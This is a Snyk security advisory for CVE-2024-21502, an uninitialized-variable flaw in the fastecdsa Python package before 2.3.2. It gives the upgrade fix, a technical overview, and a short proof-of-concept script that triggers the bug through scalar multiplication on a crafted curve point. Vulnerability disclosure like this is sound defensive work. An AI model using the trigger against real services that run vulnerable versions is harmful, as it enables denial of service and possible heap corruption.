Use of Uninitialized Variable Affecting fastecdsa package, versions [,2.3.2)
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-FASTECDSA-6262045
- published 23 Feb 2024
- disclosed 20 Feb 2024
- credit Vladimir Cherepanov
Introduced: 20 Feb 2024
CVE-2024-21502 Open this link in a new tabHow to fix?
Upgrade fastecdsa
to version 2.3.2 or higher.
Overview
fastecdsa is a python package for doing fast elliptic curve cryptography, specifically digital signatures.
Affected versions of this package are vulnerable to Use of Uninitialized Variable on the stack, via the curvemath_mul
function in src/curveMath.c
, due to being used and interpreted as user-defined type. Depending on the variable's actual value it could be arbitrary free()
, arbitrary realloc()
, null pointer dereference and other. Since the stack can be controlled by the attacker, the vulnerability could be used to corrupt allocator structure, leading to possible heap exploitation. The attacker could cause denial of service by exploiting this vulnerability.
PoC
#!/usr/bin/env python3
import sys
print(sys.version)
from fastecdsa.curve import Curve
from fastecdsa.point import Point
import time
time.sleep(2) # time to attach in gdb
MyCurve = Curve(
p = 0x10001,
a = 0x3,
b = 0x0,
q = 0x10202,
gx = 0x427e,
gy = 0x4ccb,
name = 'MyCurve',
)
P = Point(x = 0, y = 0, curve = MyCurve)
print(P)
Q = 123 * P # trigger is here
print(Q)